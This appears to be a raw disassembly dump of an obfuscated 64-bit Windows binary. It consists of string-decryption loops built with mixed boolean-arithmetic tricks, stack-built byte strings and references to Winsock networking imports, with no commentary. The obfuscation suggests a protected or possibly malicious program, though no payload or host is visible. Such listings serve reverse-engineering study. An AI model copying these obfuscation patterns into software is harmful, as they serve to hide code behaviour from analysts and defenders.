lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0x235d]
add r11b, r10b
add r11b, dl
movabs rdx, 0x971f60680f24ccf4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x235d], cl
jmp 0x14017d909
movabs rcx, 0x592bddaae0f6d3c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x235d]
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x14017d94c
movabs rcx, 0x8fe7152df6ff0a4c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x14
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
movabs rdx, 0x87b52022afb6eefc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017d94c
movabs rdx, 0x7f832b17686ed3ac
mov ecx, 0x26
jmp 0x14017d8f4
movabs rdx, 0x7751360c2126b85c
mov ecx, 0x3e
jmp 0x14017d8c5
movabs rcx, 0x6f1f4100d9de9d0c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x14017d884
movabs rdx, 0x66ed4bf5929681bc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
movabs rcx, 0x130665e26b80bf4c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x14
add cl, r10b
mov byte [rbp + rbx + 0x235d], cl
inc r9
dec rbx
inc rbx
jmp 0x14017cdb3
movabs rdx, 0x5ebb56ea4b4e666c
mov ecx, 6
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14017cdb3
movabs rdx, 0x568961df04064b1c
mov ecx, 0x1e
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14017cdb3
mov r10, rdi
movabs rdx, 0x4e576cd3bcbe2fcc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x1b385aedb2c8da9c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x44
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x235d], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xdd44d830849ae170
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x10
add r10b, cl
mov byte [rbp + rbx + 0x235d], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
movabs rcx, 0x462577c87576147c
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
movabs rdx, 0xd07d13b7021d8c24
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017cdae
movabs rcx, 0x4c6419315e797e7c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x64
jmp 0x14017cd97
lea rdx, [rbp + 0x15cb9cd]
jmp 0x14017da68
lea rdx, [rbp + 0x6ec0a1]
jmp 0x14017da68
lea rdx, [rbp + 0x235d]
lea rcx, [rbp + 0x12b0]
call fcn.1401a7310
test al, al
jne 0x1401a1505
mov byte [rbp + 0x1390], 0x63
mov byte [rbp + 0x1391], 0x7e
mov byte [rbp + 0x1392], 0x8b
mov byte [rbp + 0x1393], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x1394], 0x7d
mov byte [rbp + 0x1395], 0x85
mov byte [rbp + 0x1396], 0x8c
mov byte [rbp + 0x1397], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1398], 0x8c
mov byte [rbp + 0x1399], 0x76
mov byte [rbp + 0x139a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x139b], 0x1b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x139c], xmm0
mov dword [rbp + 0x13ac], eax
movabs rdi, 0x5fb388839921d93f
movabs rsi, 0xf35b32427baf48a1
movabs r15, 0x3551b12ad687b503
movabs r14, 0x88b7cfecce9fde9b
movzx r11d, byte [rbp + 0x5d00]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
mov rbx, r12
cmp rbx, 0x20
jae 0x14017e84f
movzx r10d, byte [rbp + rbx + 0x1390]
mov rdx, r10
nop dword [rax]
cmp r8, rbx
ja 0x14017e846
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017db6c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x15
jmp 0x14017dba5
je 0x14017e7c1
inc rax
cmp r8, rax
je 0x14017e751
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017e6fe
lea rax, [r9 + 5]
cmp r8, rax
je 0x14017e6c3
lea rax, [r9 + 8]
cmp r8, rax
je 0x14017e66f
cmp r9, rbx
ja 0x14017e83d
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14017dbcf
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
jmp 0x14017dc03
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14017e64e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017e624
lea rax, [rcx + 1]
cmp r8, rax
je 0x14017e600
lea rax, [r9 + 5]
cmp r8, rax
je 0x14017e5dc
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14017e247
lea rax, [r9 + 9]
cmp r8, rax
je 0x14017e223
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14017e1f6
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14017e1cc
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14017e1a9
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14017e180
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14017e157
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14017e133
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14017e10b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14017e0d5
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14017dc10
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14017e819
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14017e7f5
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14017ddf2
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14017ddd7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14017ddbc
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14017e073
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x14017e014
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14017dfc2
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14017df93
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14017dc10
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14017df5e
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14017df35
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x14017df0c
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14017dee3
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14017debf
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14017de9b
lea rcx, [r9 + 0x20]
cmp r8, rcx
ja 0x14017de71
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14017de3f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14017de16
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14017dc10
mov r8, rcx
lea r9, [rcx + 0x28]
jmp 0x14017dc10
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x67
jmp 0x14017dc03
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
jmp 0x14017dba5
movabs rcx, 0x1e146d9721907495
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x13
jmp 0x14017db36
movabs rdx, 0xfd9c441cc90ec9f8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017e68e
movabs rdx, 0x92f8e1c71bff5ff2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14017db23
movabs rcx, 0x28557f716eeff5ec
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
dec rbx
inc rbx
jmp 0x14017db23
movabs rcx, 0xbdb21d1bc1e08be6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
jmp 0x14017e57c
movabs rcx, 0x530ebac614d121e0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x14017e6e2
movabs rdx, 0xe86b587067c1b7da
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017e6e5
movabs rdx, 0x7dc7f61abab24dd4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017e71f
movabs rdx, 0x132493c50da2e3ce
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017e773
movabs rcx, 0xa881316f609379c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0x1390]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017db23
movabs rcx, 0x9de8bb992fecf0b9
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xf
mov byte [rbp + rbx + 0x1390], r11b
inc rbx
jmp 0x14017db23
movabs rcx, 0x3345594382dd86b3
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1b
cmp r9, 0x80
jb 0x14017dfb2
movabs rcx, 0x3e8c97117a121f32
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x14017e68e
movabs rcx, 0xc8a1f6edd5ce1cad
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x45
cmp r8, 0x2a
jae 0x14017e550
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14017e411
movabs rdx, 0x142abfb8b777faf6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017dfe1
movabs rcx, 0x5dfe949828beb2a7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6f
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x14017e5ab
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14017e380
movabs rcx, 0xb47737351e5621b7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec r11b
jmp 0x14017e033
movabs rcx, 0x3e35331596cb177a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x56
movzx eax, byte [rbp + rbx + 0x1390]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017db23
movabs rdx, 0xd391d0bfe9bbad74
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14017e773
movabs rcx, 0x68ee6e6a3cac436e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
jmp 0x14017e71f
movabs rdx, 0xfe4b0c148f9cd968
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017e6e5
movabs rdx, 0x93a7a9bee28d6f62
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017e6e2
movabs rdx, 0x29044769357e055c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14017e576
movabs rcx, 0xbe60e513886e9b56
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
dec rbx
inc rbx
jmp 0x14017db23
movabs rcx, 0x53bd82bddb5f3150
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14017db23
movabs rcx, 0xe91a20682e4fc74a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
jmp 0x14017e68e
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14017e26b
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x15
jmp 0x14017e092
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017e2a9
movabs rcx, 0xbf6711073243b27e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x72
movzx eax, byte [rbp + rbx + 0x1390]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017db23
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017e2db
movabs rdx, 0x94add5b28c62868a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017e71f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14017e30f
movabs rcx, 0x3f3b5f0940a02ea2
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6e
dec rbx
inc rbx
jmp 0x14017db23
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14017e34a
movabs rdx, 0xa9dec15eedaf98a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x14017db23
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14017e092
movabs rdx, 0x148223b49abf02ae
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017e68e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017e3ad
movabs rcx, 0x1f1a998acb658bbd
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2b
jmp 0x14017e68e
inc rax
cmp r8, rax
jne 0x14017e3e0
movabs rcx, 0xf4615e3625845fc9
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7f
dec rbx
inc rbx
jmp 0x14017db23
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017e033
movabs rcx, 0xc9a822e17fa333d5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2d
jmp 0x14017e6e2
jne 0x14017e44d
movabs rdx, 0x7ece220e648764fc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x1390]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017db23
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017e47a
movabs rcx, 0xbeb8490f6bb5a30e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
jmp 0x14017e6e5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14017e4ac
movabs rdx, 0x295bab6518c50d14
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017e6e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017e4e4
movabs rdx, 0xfea2701072e3e120
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14017db23
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14017e51b
movabs rcx, 0x6945d2661ff34b26
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xa
inc r9
dec rbx
inc rbx
jmp 0x14017db23
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14017dfe1
movabs rdx, 0xd3e934bbcd02b52c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x14017e68e
movabs rdx, 0xa92ff96727218938
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0x1390]
add r11b, dl
add r11b, r10b
movabs rcx, 0xde81aa91fda93e3b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x63
add r10b, cl
add r10b, r11b
mov byte [rbp + rbx + 0x1390], r10b
jmp 0x14017e6e2
movabs rdx, 0x13d35bbcd430f33e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x1390]
add r11b, r10b
add r11b, dl
jmp 0x14017e71f
movabs rcx, 0xdf87d685a77e5563
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4b
jmp 0x14017e6e5
movabs rcx, 0x74e4742ffa6eeb5d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x75
jmp 0x14017e6e2
movabs rcx, 0x9f9daf84a0501751
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x37
dec rbx
inc rbx
jmp 0x14017db23
movabs rcx, 0xca56ead946314345
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1d
jmp 0x14017e68e
movabs rcx, 0xf510262dec126f39
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x71
movabs rcx, 0x73de483c5099d435
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x73
add r10b, cl
mov byte [rbp + rbx + 0x1390], r10b
inc r9
dec rbx
inc rbx
jmp 0x14017db23
movabs rcx, 0x4a829cd737d4c721
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x19
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14017db23
mov r10, rdx
movabs rcx, 0x753bd82bddb5f315
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x6d
movabs rcx, 0x49250ce7aab8a841
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x39
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x1390], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14017e773
movabs rcx, 0xa9875d630a6890f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x69
movzx r10d, dl
movabs rdx, 0x7e76be1281405d44
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x1390], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x1390]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017db23
movabs rcx, 0x9ff5138083971f09
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x3f
movzx eax, byte [rbp + rbx + 0x1390]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017db23
movabs rcx, 0xb3710b4174810a8f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x17
jmp 0x14017db20
movabs rcx, 0x48cda8ebc771a089
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
jmp 0x14017db12
lea rdx, [rbp + 0x16db194]
jmp 0x14017e856
lea rdx, [rbp + 0xb56697]
jmp 0x14017e856
lea rdx, [rbp + 0x1390]
lea rcx, [rbp + 0x12b0]
call fcn.1401a7310
test al, al
jne 0x1401a1505
mov byte [rbp + 0x8cc], 0xe1
mov byte [rbp + 0x8cd], 0xc7
mov byte [rbp + 0x8ce], 0x3e
mov byte [rbp + 0x8cf], 0xcc
mov byte [rbp + 0x8d0], 0xc6
mov byte [rbp + 0x8d1], 0xc6
mov byte [rbp + 0x8d2], 0xcc
mov byte [rbp + 0x8d3], 0xef
mov byte [rbp + 0x8d4], 0x96
mov byte [rbp + 0x8d5], 0x44
mov byte [rbp + 0x8d6], 0xbb
mov byte [rbp + 0x8d7], 0xb7
mov byte [rbp + 0x8d8], 0xca
xor eax, eax
mov dword [rbp + 0x8d9], eax
mov word [rbp + 0x8dd], ax
mov byte [rbp + 0x8df], al
movabs rdi, 0x9ad4af25ee4bdab9
movabs rsi, 0xb3725e1c8c38f12d
movabs r14, 0xa6285d00aa00578f
movabs r15, 0x65e99298852fd3f6
movzx edx, byte [rbp + 0x5d00]
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov r11, r12
cmp r11, 0x14
jae 0x14017f36c
movzx r10d, byte [rbp + r11 + 0x8cc]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x14017f363
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14017e96b
lea rcx, [r11 + rdi]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
sub dl, 0xf
jmp 0x14017e998
je 0x14017f2df
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017f241
lea rax, [rcx + 1]
cmp r8, rax
je 0x14017f207
lea rax, [r9 + 4]
cmp r8, rax
je 0x14017f1de
nop dword [rax + rax]
cmp r9, r11
ja 0x14017f35a
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14017e9cb
lea rcx, [r11 + rsi]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x3b
add dl, cl
jmp 0x14017ea18
lea rax, [r9 + 1]
cmp r8, rax
je 0x14017f18b
inc rax
cmp r8, rax
je 0x14017f15e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017f134
lea rax, [r9 + 5]
cmp r8, rax
je 0x14017f110
lea rax, [r9 + 6]
cmp r8, rax
je 0x14017f0ec
lea rax, [r9 + 8]
cmp r8, rax
je 0x14017f0b6
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14017edab
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14017ed88
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14017ed59
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14017ed2d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14017ed07
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14017ece3
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14017ea30
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14017f336
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x14017f312
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x14017eb11
lea rcx, [r9 + 0x200]
cmp r8, rcx
jb 0x14017ec85
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14017ebf7
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14017ebbf
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14017eb9a
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14017eb77
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14017eb53
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14017eb2d
lea r8, [r9 + 0x5a]
lea r9, [r8 + 2]
jmp 0x14017ea30
lea rdx, [r11 + r14]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x17
add dl, cl
jmp 0x14017e936
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x14017e923
movabs rcx, 0x8f44196912d0fe2e
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x42
jmp 0x14017f229
movabs rcx, 0x599abb1d363948bc
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
jmp 0x14017f260
movabs rdx, 0x23f15cd159a1934a
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 6
add dl, cl
jmp 0x14017f291
movabs rdx, 0xee47fe857d09ddd8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
movabs rcx, 0x7ccdd6301c5f2d57
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x61
add dl, cl
cmp r8, 3
jae 0x14017f035
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14017ef85
movabs rdx, 0x98201a26544c0f42
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 0x400
jb 0x14017f025
movabs rdx, 0xb0bdc91cf23925b6
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x14017f1ab
movabs rcx, 0x472477e43fc777e5
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x43
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14017f089
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14017eec2
movabs rdx, 0xe4adbc09c8131e15
add rdx, r11
